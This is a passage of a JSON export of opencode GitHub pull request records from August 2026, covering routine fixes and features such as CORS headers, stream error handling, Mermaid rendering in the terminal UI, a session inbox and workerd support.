test/session-create.test.ts test/session-move.test.ts` in `packages/core` — new regression: pre-Git session (root and nested) adopted immediately after `resolve`, exactly one durable event across repeated resolves, session log records nothing new, recency preserved; moved session stays out of its former directory's new identity. - `bun run test` in `packages/core` — full suite, 1694 pass. - `bun test test/event-manifest.test.ts` in `packages/schema`; `bun run test` in `packages/client`. - `bun typecheck` in `packages/schema`, `packages/core`, `packages/client`, `packages/tui`, `packages/app`. - `bun run generate` in `packages/client` (clean regeneration). ## Flow ```mermaid sequenceDiagram participant Any as Any resolve caller participant Project as Project service participant Bus as Durable bus participant Projection as Session projection participant Clients as TUI / app caches Any->>Project: resolve(directory) Project->>Project: directory row missing for new identity Project->>Bus: project.directory.resolved {projectID, directory, previous} Note over Bus: directory row insert commits atomically (commit hook) Bus->>Projection: fold: sessions owned by previous/global under directory Projection->>Projection: set project_id + subpath, keep recency Bus-->>Clients: event stream applies same fold to cached sessions ```",
        "url": "https://github.com/anomalyco/opencode/pull/42100",
        "createdAt": "2026-08-12T18:02:19Z",
        "updatedAt": "2026-08-12T20:47:56Z",
        "timestamp": "2026-08-12T20:47:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42101",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(console): add cors to zen responses",
        "text": "### Issue for this PR Closes #41224 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds CORS headers to actual Zen model-list responses, not only OPTIONS preflight responses. The shared helper is also used by the main Zen chat handler response headers so normal GET/POST responses include `Access-Control-Allow-Origin` as browsers require after a successful preflight. This keeps the existing permissive preflight policy (`*`, `GET, POST, OPTIONS`, `Content-Type, Authorization`) and applies it to actual API responses. ### How did you verify your code works? - `cd packages/console/app && bun test test/zenCors.test.ts --timeout 30000` - `cd packages/console/app && bun run typecheck` - `bunx oxlint packages/console/app/src/routes/zen/util/modelsHandler.ts packages/console/app/src/routes/zen/util/handler.ts packages/console/app/test/zenCors.test.ts` - `git diff --check` ### Screenshots / recordings N/A; this is a response-header fix. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42101",
        "createdAt": "2026-08-12T18:03:09Z",
        "updatedAt": "2026-08-12T18:04:36Z",
        "timestamp": "2026-08-12T18:04:36Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "zcxGGmu",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42102",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(llm): preserve nested OpenAI stream errors",
        "text": "### Issue for this PR Closes #42007 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The nested OpenAI Responses SSE error handling from #36130 (commit bd0dffd) is missing from `dev`. The fix was merged to `v2` but lost during the branch transition — `git merge-base --is-ancestor bd0dffd78 HEAD` returns false on `dev`. OpenAI Responses can deliver stream errors in three shapes: top-level fields (`type`, `code`, `message`), nested under `response.error`, or nested under a top-level `error` envelope. The current `dev` code only handles the first two. When an OpenAI-compatible proxy sends an event-level `error` object (as the official SDK recognizes), the nested `code` and `message` are silently dropped and the user sees a generic \"OpenAI Responses stream error\" instead of the actual cause (e.g. `context_length_exceeded: prompt too long`). This restores the three-shape handling from #36130: - Adds `error: optionalNull(OpenAIResponsesErrorPayload)` to `OpenAIResponsesEvent` - Widens `code` and `param` to `optionalNull` to accept spec-compliant nullable fields - Updates `providerErrorMessage` and `providerError` to check `event.error` before `event.response?.error` Credit to @harshmathurx and @aidenpcline who authored the original fix in #36130. ### How did you verify your code works? - 57 tests pass in `packages/llm/test/provider/openai-responses.test.ts` (0 fail), including three new cases that cover the `event.error` envelope, nullable `code`/`param` fields, and `error: null` fallback - `packages/llm` typecheck clean - Prettier clean on both changed files ### Screenshots / recordings ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42102",
        "createdAt": "2026-08-12T18:05:02Z",
        "updatedAt": "2026-08-12T18:05:02Z",
        "timestamp": "2026-08-12T18:05:02Z",
        "metrics": {
          "reactions": 1,
          "comments": 0
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42103",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): render Mermaid rich labels compactly",
        "text": "## What Fixes terminal Mermaid flowcharts that use quoted multiline labels and inline italics. Valid labels now keep their punctuation, split on `<br/>`, render `<i>` / `<em>` as terminal italics, and reserve horizontal room only where that label is routed. ## Before / After **Before:** the flowchart parser measured edge operators against a masked statement and also stored the masked label. A quoted label such as `\"events.persist: true<br/>mcp.stdio: false\"` became one long line like `\"events persist: true br/ mcp stdio: false\"`. That inflated every vertical rank, produced terminal-wide rails, exposed unrelated route/subgraph crossings, and printed `<i>` tags literally. **After:** operator detection still uses the masked statement, but label text is recovered from the original source range. Rich text is normalized before measurement, `<br/>` creates rows, italic spans become OpenTUI text attributes, and multiline label clearance applies only to ranks touched by the labeled edge. ## How - `packages/merman/src/flowchart/parser.ts` recovers quoted edge labels from original source indices without allowing arrow-like label text to become structural syntax. - `packages/merman/src/core/text-lines.ts` exposes visible lines and italic runs for shared measurement and drawing. - `packages/merman/src/flowchart/drawing.ts` writes rich text into canvas metadata; `style.ts` and `core/render-grid.ts` preserve those attributes in `StyledText`. - `packages/merman/src/flowchart/layout.ts` computes vertical branch-label clearance per rank instead of applying the widest label globally. - Flowchart and Markdown tests cover the complete reported architecture graph, narrow viewports, punctuation, line breaks, italics, and width. ## Scope This supports Mermaid's existing `<br>`, `<br/>`, `<i>`, and `<em>` label presentation used by the terminal renderer. It does not add general HTML rendering or change non-flowchart diagram styling. ## Testing - `cd packages/merman && bun run test` (`290` passing) - `cd packages/merman && bun typecheck` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (`32` packages passing) - OpenCode Drive against commit `b8d8911d7a`, simulated model response containing the complete reported diagram at a 200x44 viewport ## Demo Exact reported diagram rendered by the OpenCode TUI through OpenCode Drive. Quoted labels are multiline, `option flags` and `layer overrides` are italic, and the graph stays compact. ![OpenCode Drive rendering the fixed Mermaid diagram](https://github.com/user-attachments/assets/92963553-c25a-4447-9559-c9d07a4dea1c) ## Flow ```mermaid flowchart LR Source[Original Mermaid statement] --> Mask[Mask label syntax for edge detection] Mask --> Range[Recover label from original source range] Range --> Lines[Split visible lines and italic runs] Lines --> Layout[Measure rank-local clearance] Lines --> Canvas[Write text and attributes to canvas] Canvas --> Styled[Render OpenTUI StyledText] ```",
        "url": "https://github.com/anomalyco/opencode/pull/42103",
        "createdAt": "2026-08-12T18:08:08Z",
        "updatedAt": "2026-08-12T18:28:57Z",
        "timestamp": "2026-08-12T18:28:57Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42104",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(opencode): bridge question tool to ACP elicitation",
        "text": "## Summary - Adds `packages/opencode/src/acp/elicitation.ts` — a handler (modelled on `permission.ts`) that translates the `question` tool part into an `unstable_createElicitation` ACP request and maps the client response back to `sdk.question.reply/reject` - Wires the handler into `ACPEvent.Subscription.handleToolPart` — when `toolName === \"question\"` and the state is `running`, the elicitation handler fires instead of the normal `runningTool` path - Extends the `Connection` type in both `event.ts` and `service.ts` to include `unstable_createElicitation` - Preserves the auto-reject fallback when the client does not advertise elicitation support ## Test plan - [x] Accepted elicitation — form schema is correct, answers are mapped back and `sdk.question.reply` is called - [x] Declined elicitation — `sdk.question.reject` is called - [x] Cancelled elicitation — `sdk.question.reject` is called - [x] Client without elicitation support — auto-rejects immediately without calling `unstable_createElicitation` - [x] `unstable_createElicitation` throws — falls back to reject - [x] Multiple questions in one tool call — all map into a single form with one property per question - [x] Multi-select question (`multiple: true`) — uses array schema with `anyOf` items - [x] Unknown session — handler exits early, no calls made - [x] Full ACP test suite passes (136 tests) Fixes #38121",
        "url": "https://github.com/anomalyco/opencode/pull/42104",
        "createdAt": "2026-08-12T18:08:32Z",
        "updatedAt": "2026-08-12T18:14:51Z",
        "timestamp": "2026-08-12T18:14:51Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "pjaol",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42106",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "chore: add neriousy to team members",
        "text": "## Summary - Add `neriousy` to `.github/TEAM_MEMBERS`. - Add `neriousy` to the core team assignment pool used by the GitHub issue triage agent. - Let GitHub automations recognize him as a core team member and assign matching issues to him. ## Verification - Confirmed the login appears exactly once in the shared roster. - Confirmed the core triage pool contains the login. - Built the triage tool with Bun. - Ran `git diff --check`. Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42106",
        "createdAt": "2026-08-12T18:28:34Z",
        "updatedAt": "2026-08-12T18:30:53Z",
        "timestamp": "2026-08-12T18:30:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42107",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "chore: add neriousy to team members",
        "text": "## Summary - Add `neriousy` to `.github/TEAM_MEMBERS`. - Add `neriousy` to the core team assignment pool used by the GitHub issue triage agent. - Let GitHub automations recognize him as a core team member and assign matching issues to him. ## Verification - Confirmed the login appears exactly once in the shared roster. - Confirmed the core triage pool contains the login. - Built the triage tool with Bun. - Ran `git diff --check`. Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42107",
        "createdAt": "2026-08-12T18:28:35Z",
        "updatedAt": "2026-08-12T18:30:41Z",
        "timestamp": "2026-08-12T18:30:41Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42108",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): show worktree names in session list",
        "text": "## Summary - fix worktree names in the TUI session list dialog - remove the session subpath before deriving the worktree name - show linked worktree names instead of the nested session directory or project fallback - truncate worktree labels to 25 terminal cells ## Verification - reproduced with OpenCode Drive using two linked worktrees with sessions under `packages/cli` - confirmed the dialog changed from `cli` for both rows to `worktree` and `worktree-two` - `bun typecheck` in `packages/tui` - full TUI suite: 683 passed, 5 skipped, 0 failed",
        "url": "https://github.com/anomalyco/opencode/pull/42108",
        "createdAt": "2026-08-12T18:29:09Z",
        "updatedAt": "2026-08-12T18:44:51Z",
        "timestamp": "2026-08-12T18:44:51Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "jlongster",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42109",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(core): add generic session inbox",
        "text": "## Summary - replace the input-specific pending model with a generic per-session inbox for user, synthetic, compaction, and move items - add durable inbox lifecycle events, generic steer/queue scheduling, and atomic delivery batches for compaction and move - add the pending-only session_inbox table and expose inbox list, cancel, steer, and queue APIs across generated clients and UI consumers - allow every item type to stack independently with either delivery mode ## Verification - repository pre-push typecheck: 32 packages passed - core Bus, inbox, projector, prompt, move, compaction, and runner suites: 255 tests passed - TUI selected suites: 102 tests passed - client suites: 29 tests passed - SDK Next suites: 12 tests passed - CLI selected suites: 33 tests passed - App reducer suite: 6 tests passed - Schema contract and event manifest suites passed - protocol/client/www generated checks passed - migration consistency check passed",
        "url": "https://github.com/anomalyco/opencode/pull/42109",
        "createdAt": "2026-08-12T18:30:58Z",
        "updatedAt": "2026-08-12T19:28:07Z",
        "timestamp": "2026-08-12T19:28:07Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "thdxr",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42111",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "Exa main",
        "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Please provide a description of the issue, the changes you made to fix it, and why they work. It is expected that you understand why your changes work and if you do not understand why at least say as much so a maintainer knows how much to value the PR. **If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED!** ### How did you verify your code works? ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [ ] I have tested my changes locally - [ ] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
        "url": "https://github.com/anomalyco/opencode/pull/42111",
        "createdAt": "2026-08-12T18:37:49Z",
        "updatedAt": "2026-08-12T18:38:50Z",
        "timestamp": "2026-08-12T18:38:50Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "needs:title",
          "needs:compliance"
        ],
        "author": "Sheetaldharshan200",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42112",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): show token throughput",
        "text": "## Summary - record the first visible text timestamp and provider generation completion timestamp for each V2 assistant step - calculate per-request output speed as `(visible output tokens - 1) / (last token - first token)` - show `tok/s` for completed `stop` and `length` responses in assistant footers and turn-token diagnostics - reject tool-call, error, buffered, and sub-250ms samples instead of presenting misleading throughput This is the V2 implementation of the token-throughput requests in #5374 and #6096. The metric follows the standard TPOT/output-speed definition: TTFT and tool execution remain outside the generation window, hidden reasoning tokens are excluded, and non-streaming or too-short responses report no score. Live event projections and replayed message projections retain the same timing fields. ## Checks - `bun test test/cli/tui/data.test.tsx test/cli/tui/session-rows.test.ts` (`packages/tui`) - `bun typecheck` (`packages/tui`) - `bun test test/session-projector.test.ts test/session-runner-tool-events.test.ts` (`packages/core`) - `bun typecheck` (`packages/core`) - `bun typecheck` (`packages/schema`) - `bun typecheck` (`packages/client`) - generated client output stability check - Prettier and `git diff --check` - replayed one identical Python API benchmark through the corrected UI: Grok 4.6 Fast `29.0 tok/s`, GPT-5.6 Sol `28.1 tok/s`, Claude Fable 5 `N/A` because its final response was buffered into a 66ms sample Requested by: @R44VC0RP (vogel via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42112",
        "createdAt": "2026-08-12T18:40:20Z",
        "updatedAt": "2026-08-12T19:32:22Z",
        "timestamp": "2026-08-12T19:32:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "R44VC0RP"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42113",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(server): typed no-execution-plane environment for workerd profile",
        "text": "## What Complete the workerd profile's capability story after #41918 and #42076: a bare location now has a typed no-execution-plane process spawner instead of profile-level process stubs. Shell and stdio MCP route through the location `Environment`. Bare locations fail each operation with a clear location-specific error; attaching a workspace driver automatically supplies the execution plane without changing the profile. ## How - Add `EnvironmentUnavailable` in `packages/core/src/environment/unavailable.ts`. Its `ChildProcessSpawner` fails with Effect's typed `PlatformError` channel and the message: `This location has no execution plane: no workspace is attached and the host cannot spawn processes`. - Replace the workerd profile's cross-spawn implementation with that layer and remove the hand-written `Shell.Service` replacement, allowing the standard location-scoped Shell service to build. - Settle Shell spawn failures through `Shell.create` instead of swallowing them in its managing fiber. - Lazily initialize Shell output storage only after a process spawns, so bare workerd locations do not import filesystem modules or create unused output directories. - Retire the `mcp.stdio` capability flag from core, server options, routes, and the workerd profile. Local MCP servers now attempt connection through `Environment.spawner` and record the no-plane error as `failed`. - Add core coverage for the typed spawner and MCP failed status, plus a real-workerd regression proving a failed Session shell operation releases session state and permits a later turn. ```mermaid flowchart TD L[Location] --> W{workspace attached?} W -->|yes| D[Workspace driver] W -->|no| H[Host spawner] H -->|workerd| N[No-execution-plane spawner] D --> E[Environment.spawner] N --> E E --> S[Shell] E --> M[stdio MCP] N --> F[Typed per-operation PlatformError] ``` ## Scope - This follows the workerd profile from #41918 and stdio MCP Environment routing from #42076; both are already merged into `v2`. - The workerd shell tool still encounters the profile's existing empty-WASM `ShellParse` implementation before `Shell.create`. This PR does not bypass command parsing or permission analysis; direct Shell service operations and every consumer that reaches `Environment.spawner` get the typed fallback. - Existing FileSystem, FileSystemSearch, and Pty profile replacements are unchanged because they have separate host dependencies and capability seams. ## Testing - `bun install` - `bun typecheck` in `packages/core` - `bun typecheck` in `packages/server` - `bun run test test/mcp.test.ts test/environment.test.ts test/tool-shell.test.ts` in `packages/core` (69 pass, 9 skip) - `bun run test` in `packages/workerd-spike` (6 pass, real workerd isolate) - `bun run probe:workerd` in `packages/server` (bundle probe OK, 29.9 MiB) - Push hook: `bun turbo typecheck --concurrency=3` (32 tasks passed)",
        "url": "https://github.com/anomalyco/opencode/pull/42113",
        "createdAt": "2026-08-12T18:42:19Z",
        "updatedAt": "2026-08-12T19:28:09Z",
        "timestamp": "2026-08-12T19:28:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42115",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): show interrupt progress immediately",
        "text": "## What Make interrupt actions acknowledge immediately in the app and TUI while OpenCode finishes server-side cancellation and durable settlement. The stop control now enters a pending state as soon as the user interrupts, disables duplicate requests, and resets when the session becomes idle or the interrupt request fails. The TUI footer similarly changes from the repeated-Esc prompt to `Stopping...` immediately after sending the request. ## Before / After **Before** 1. A running turn is interrupted while a provider or tool is active. 2. The server waits for tool settlement, snapshots, durable event projection, and execution finalizers. 3. During that wait, the UI continues to look actively runnable and offers the same interrupt action, making the input appear ignored. **After** 1. The first accepted Stop/Esc action immediately enters a local pending state. 2. App and TUI show stopping feedback and suppress duplicate interrupt requests. 3. The authoritative execution terminal still controls the transition to idle. 4. Request failure clears the pending state so the user can retry. ## How - `packages/app`: adds pending interrupt state to the shared prompt submission helper so both prompt composers use the same behavior. - `packages/session-ui`: keeps the existing stop-button condition separate from the new pending state and disables the control while a request is pending. - `packages/tui`: tracks the session whose interrupt was requested and renders `Stopping...` until its execution becomes idle. - `packages/core/test/session-runner.test.ts`: adds deterministic characterization tests proving interruption settlement can wait for an ending snapshot or an unrelated transaction holding the global SQLite permit. ## Scope This PR improves truthful feedback and duplicate suppression. It does not shorten server-side durable cleanup. The characterization tests document two independent sources of cleanup latency. Production evidence also suggests globally serialized SQLite publication contributed to the reported long-tail case, but changing SQLite scheduling or snapshot semantics should be handled separately with dedicated instrumentation and correctness analysis. ## Testing - `bun turbo typecheck --concurrency=3` (push hook, 32 packages passed) - `cd packages/core && bun run test session-runner.test.ts` (146 passed) - `cd packages/tui && bun run test` (683 passed, 5 skipped) - `cd packages/session-ui && bun run test` (83 passed) - `cd packages/app && bun run test:unit` (677 passed; unrelated existing `pa-PK` locale detection test failed) - `bunx prettier --check ...` for all touched files - `git diff --check` ## Flow ```mermaid sequenceDiagram participant User participant UI as App / TUI participant Server participant Execution participant Store as Durable settlement User->>UI: Stop / Esc UI->>UI: Show Stopping immediately UI->>Server: POST session interrupt Server->>Execution: Interrupt owner fiber Execution->>Store: Settle tools, snapshots, events Store-->>Execution: Terminal committed Execution-->>Server: Cleanup complete Server-->>UI: 204 UI->>UI: Terminal event returns session to idle ```",
        "url": "https://github.com/anomalyco/opencode/pull/42115",
        "createdAt": "2026-08-12T18:49:29Z",
        "updatedAt": "2026-08-12T18:57:05Z",
        "timestamp": "2026-08-12T18:57:05Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42117",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): validate tool definitions on registration",
        "text": "## Summary - validate model-facing tool definitions before mutating the Location registry - return a `Tool.RegistrationError` that names the malformed tool and includes the schema failure - preserve atomic registration batches so one invalid plugin tool cannot poison subsequent model requests Fixes #42026 ## Tests - `cd packages/core && bun test ./test/session-runner-tool-registry.test.ts` - `cd packages/core && bun typecheck` Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42117",
        "createdAt": "2026-08-12T18:52:35Z",
        "updatedAt": "2026-08-12T19:08:16Z",
        "timestamp": "2026-08-12T19:08:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42118",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix: handle error where OPENCODE_CONFIG is pointing to a directory",
        "text": "### Issue for this PR Closes #42116 ### Type of change - [ x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Catch errors related from invalid values in OPENCODE_CONFIG_DIR / OPENCODE_CONFIG, report error instead of printing stack trace (bun dev)/unexpecter error (opencode binary) ### How did you verify your code works? Locally executed testing, added unit test cases. ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42118",
        "createdAt": "2026-08-12T18:53:08Z",
        "updatedAt": "2026-08-12T21:16:22Z",
        "timestamp": "2026-08-12T21:16:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "hhamalai",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42121",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(codemode): route transpilation through a #transpile conditional import",
        "text": "## What / Why Runtimes bundled with the `workerd` condition cannot carry the TypeScript transpiler dependency: the compiler is large and probes Node internals during module initialization. Route interpreter transpilation through a `#transpile` conditional import. Node and Bun resolve the extracted TypeScript implementation, preserving the existing path byte-for-byte, while workerd bundles resolve an inert variant that passes JavaScript through without importing the compiler. TypeScript-only syntax then fails at the interpreter parse boundary with a clear parse error. This follows the `#global-roots` conditional-import precedent in `packages/util` from #41918. ## Scope - Adds the `#transpile` package imports map in `packages/codemode`. - Extracts the existing Node/Bun transpilation implementation without changing its compiler options or diagnostic formatting. - Adds the workerd pass-through implementation. - Does not add TypeScript transpilation support to workerd. ## Testing - `bun run typecheck` in `packages/codemode` - `bun run test` in `packages/codemode` (1,089 passing) - Push hook: `bun turbo typecheck --concurrency=3` (32 packages passing)",
        "url": "https://github.com/anomalyco/opencode/pull/42121",
        "createdAt": "2026-08-12T19:02:15Z",
        "updatedAt": "2026-08-12T19:43:34Z",
        "timestamp": "2026-08-12T19:43:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42122",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): resolve watcher binding require lazily",
        "text": "## What / Why Bundles using the `workerd` condition crash at import time because `import.meta.url` is undefined there and `createRequire(import.meta.url)` currently runs at module scope. The watcher is never loaded on that runtime, so resolving the require eagerly turns unreachable functionality into a bundle-wide startup failure. Before, importing the bundle evaluated `createRequire` immediately and crashed. After, `createRequire` runs only when `load()` is called, preserving Node and Bun behavior while avoiding evaluation on workerd. This follows the same lazy resolution pattern used for `npmPath` in `packages/util/src/npm-config.ts`. ## Scope One file: `packages/core/src/filesystem/watcher-binding.ts`. ## Testing - `bun run typecheck` - `bun run test test/filesystem/watcher.test.ts` from `packages/core` (11 passed)",
        "url": "https://github.com/anomalyco/opencode/pull/42122",
        "createdAt": "2026-08-12T19:02:18Z",
        "updatedAt": "2026-08-12T19:40:44Z",
        "timestamp": "2026-08-12T19:40:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42123",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): harden Mermaid rendering limits",
        "text": "## What Keep terminal Mermaid rendering responsive and readable for oversized or malformed diagrams, and fold wide horizontal Markdown flowcharts before they are silently clipped. ## Before / After **Before:** a long malformed flowchart statement could spend seconds backtracking in edge parsing; near-million-cell canvases could allocate hundreds of megabytes; malformed chained sequence/state transitions became phantom endpoint names; a wide grapheme could extend beyond the canvas; and the four-stage LR diagram from the OpenCode session rendered wider than the message viewport. **After:** pathological statements and oversized canvases fail through existing typed syntax/size errors, ambiguous chains are rejected, clipped wide graphemes are omitted, and Markdown flowcharts wider than 120 columns fold vertically by default. ## How - `packages/merman/src/flowchart/parser.ts` bounds statement length before edge-operator matching. - `packages/merman/src/core/canvas.ts` lowers the eager canvas allocation budget and requires a full grapheme to fit before writing it. - Sequence and state parsers reject extra arrow operators embedded in endpoints. - `packages/merman/src/markdown.ts` passes a configurable `layoutMaxWidth` into flowchart layout, capped by the renderer width. - Adds focused regressions for each case, including the exact clipped LR diagram. ## Scope This does not replace the eager canvas with a sparse representation or rewrite flowchart edge parsing as a scanner. The conservative limits protect the TUI without expanding this fix into a storage/layout redesign. ## Testing - `cd packages/merman && bun run test` (`294` passing) - `cd packages/merman && bun run typecheck` - `git diff --check`",
        "url": "https://github.com/anomalyco/opencode/pull/42123",
        "createdAt": "2026-08-12T19:03:58Z",
        "updatedAt": "2026-08-12T19:06:32Z",
        "timestamp": "2026-08-12T19:06:32Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42127",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): navigate filtered plugins",
        "text": "## What Allow Up and Down to navigate filtered Plugins and MCP dialogs without presenting keyboard focus as a durable current selection. ## Before / After **Before:** Plugins and MCP fed the highlighted row back into `DialogSelect.current`. Since `current` means the externally current value, this added a dot to whichever row the keyboard happened to highlight. While filtering, updating that value also caused `DialogSelect` to restore the first result, preventing navigation. Plugin status text also used inline colors, so statuses such as `active` remained green on the focused-row background and lost contrast. **After:** Plugins and MCP track focus through `onMove` without declaring a singular current row. Filtered navigation advances normally, no selection dot follows the highlight, and focused plugin statuses use the row's high-contrast foreground while unfocused statuses retain semantic colors. ## How - `packages/tui/src/feature-plugins/system/plugins.tsx` removes the focus-as-current wiring and uses `footerColor` instead of an inline colored span. - `packages/tui/src/component/dialog-mcp.tsx` removes the same focus-as-current wiring. - Shared `DialogSelect.current` behavior is unchanged for genuine durable-current pickers such as model, agent, variant, theme, session, move destination, and diff source. ## Scope Settings may use `current` as an initial navigation target when opened from a specific command, but it does not generally show a dot and is not part of this bug. No shared `DialogSelect` semantics change in this PR. ## Testing - `bun run test test/cli/tui/dialog-select.test.tsx` from `packages/tui` (13 passed) - `bun typecheck` from `packages/tui` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (32 tasks passed) - OpenCode Drive reproduction against the development TUI: - Unfiltered Up and Down navigation - Filtered Up and Down navigation - Wrap in both directions - Clear filter and continue navigating - No current-selection dot follows keyboard focus - Focused status text remains legible ## Demo OpenCode Drive recording of the corrected V2 TUI. https://github.com/user-attachments/assets/a1d99caf-43b1-490a-9210-0e0f4fa4d32c",
        "url": "https://github.com/anomalyco/opencode/pull/42127",
        "createdAt": "2026-08-12T19:34:11Z",
        "updatedAt": "2026-08-12T20:20:56Z",
        "timestamp": "2026-08-12T20:20:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
